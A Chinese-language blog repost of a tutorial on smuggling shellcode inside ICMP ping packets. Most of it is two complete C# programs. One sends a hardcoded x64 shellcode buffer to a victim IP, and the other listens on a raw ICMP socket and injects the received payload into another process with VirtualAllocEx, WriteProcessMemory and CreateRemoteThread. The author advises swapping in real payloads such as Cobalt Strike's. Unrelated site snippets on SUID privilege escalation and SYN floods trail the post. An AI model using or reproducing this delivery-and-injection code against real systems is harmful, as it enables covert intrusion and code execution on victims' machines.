使用 ICMP 传递 shellcode

Andrew2021-02-17 21:59:14
在研究不同的渗透方法时,我遇到了一种利用DNS的技术。在编写概念证明代码时,我注意到实现的ping函数很有趣。我们可以提供一个可容纳65,500字节的缓冲区。由于大小限制很大,我们可以将shellcode加载到我们的ICMP请求中,然后将其注入到目标的进程中。

在原博客中给出了两个c#源码

shellcodeInjector.cs

using System.Net.NetworkInformation;namespace shellcodeInjector{    class Program    {                       public static void sendShellcode()        {            Ping pingSender = new Ping();            int timeout = 10000;            byte[] buf = new byte[311] {0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x0d,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x50,0x69,0x6e,0x67,0x20,0x49,0x6e,0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x00,0x53,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x20,0x49,0x6e,0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x20,0x76,0x69,0x61,0x20,0x50,0x49,0x4e,0x47,0x00 };            PingOptions options = new PingOptions(64, true);            pingSender.Send("VictimPrivIPHere", timeout, buf, options);        }        static void Main(string[] args)        {            sendShellcode();        }    }}

pingInjection.cs

using System;using System.Net;using System.Net.Sockets;using System.Runtime.InteropServices;namespace PingInjection{    class Program    {        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processID);        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr IpAddress, uint dwSize, uint flAllocationType, uint flProtect);        [DllImport("kernel32.dll")]        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);        [DllImport("kernel32.dll")]        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);        public static void shellcodeInjection(byte[] shellcode)        {            int notepadPID = 7972;            IntPtr hProcess = OpenProcess(0x001F0FFF, false, notepadPID);            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);            byte[] buf = shellcode;            IntPtr outSize;            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);        }        public static byte[] getShellcode()        {            Socket icmpListener = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Icmp);            icmpListener.Bind(new IPEndPoint(IPAddress.Parse("192.168.0.15"), 0));            icmpListener.IOControl(IOControlCode.ReceiveAll, new byte[] { 1, 0, 0, 0 }, new byte[] { 1, 0, 0, 0 });            byte[] buffer = new byte[4096];            EndPoint remoteEndPoint = new IPEndPoint(IPAddress.Any, 0);            byte[] shellcode = new byte[4068];            var bytesRead = icmpListener.ReceiveFrom(buffer, ref remoteEndPoint);            System.Buffer.BlockCopy(buffer, 28, shellcode, 0, 4068);            return shellcode;        }        static void Main(string[] args)        {            byte[] shellcode = getShellcode();            shellcodeInjection(shellcode);        }    }}

源码不难,这里就不一一分析了。

使用Vs编译好2个c#。

新建一个C#的控制台应用

图片

这里放进我们的shellcode,这里使用原代码进行演示

图片

编译

然后编译pingInjection.cs

注意修改ip地址:

图片

ok 我们都编译好了
图片

剩下要做的就是运行两个应用程序。首先,我们启动侦听器,然后启动注入器。

图片

在实战中我们把shellcode替换成我们的shellcode就行。例如CS的。

原文:https://blog.romanrii.com/using-icmp-to-de...

icmpstatic
本作品采用《CC 协议》,转载必须注明作者和本文链接
使用 ICMP 传递 shellcode
2021-02-17 21:59:14
在研究不同的渗透方法时,我遇到了一种利用DNS的技术。在编写概念证明代码时,我注意到实现的ping函数很有趣。我们可以提供一个可容纳65,500字节的缓冲区。由于大小限制很大,我们可以将shellcode加载到我们的ICMP请求中,然后将其注入到目标的进程中。
近期对nmap的操作系统识别功能造了个轮子,用golang实现了一遍,想未来能用于扫描器,资产发现/管理系统
很早就想专门写一篇关于内网的文章,一直没有腾出空来,万万没想到,写下这篇文章的时候,竟然是我来某实验室实习的时间段:)
需要这种特殊权限的场景在Linux下很常见。ping需要发送ICMP报文,而这个操作需要发送Raw Socket。比如,/bin/ping这个程序的所有者是root,它设置了s位,那么普通用户在运行ping时其Effective UID就是0,等同于拥有了root权限。这里引入了一个新的概念Effective UID。第一部分指定用户,第二部分指定可充当用户,第三部分指定 sudo 可运行的命令。
需要这种特殊权限的场景在Linux下很常见。已知的可以用来提权的Linux可执行文件有:CopyNmap、Vim、find、Bash、More、Less、Nano、cp比如常用的ping命令。
Linux|suid提权总结
2021-09-15 09:38:59
suid即set user id,是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。需要这种特殊权限的场景在Linux下很常见。
虽然网上有大量从零搭建?的文章,但大都针对老版本,若直接照搬去安装最新的?版本会遇到一堆问题。故此将我的安装步骤记录下来,希望能为读者提供?式的集群搭建帮助。服务等,可供用户免费下载、使用和分享。??启动的三节点服务已经配置好了以下使用?节点进行演示查看,其他节点操作均一致#?
虽然网上有大量从零搭建 K8S 的文章,但大都针对老版本,若直接照搬去安装最新的 1.20 版本会遇到一堆问题。故此将我的安装步骤记录下来,希望能为读者提供 copy and paste 式的集群搭建帮助。
SYN FLOOD攻击是在TCP三次握手过程中产生的。攻击者通过发送大量伪造的带有SYN标志位的TCP报文,与目标主机建立了很多虚假的半开连接,在服务器返回SYN+ACK数据包后,攻击者不对其做出响应,也就是不返回ACK数据包给服务器,这样服务器就会一直等待直到超时。这种攻击方式会使目标服务器连接资源耗尽、链路堵塞,从而达到拒绝服务的目的。
Andrew
暂无描述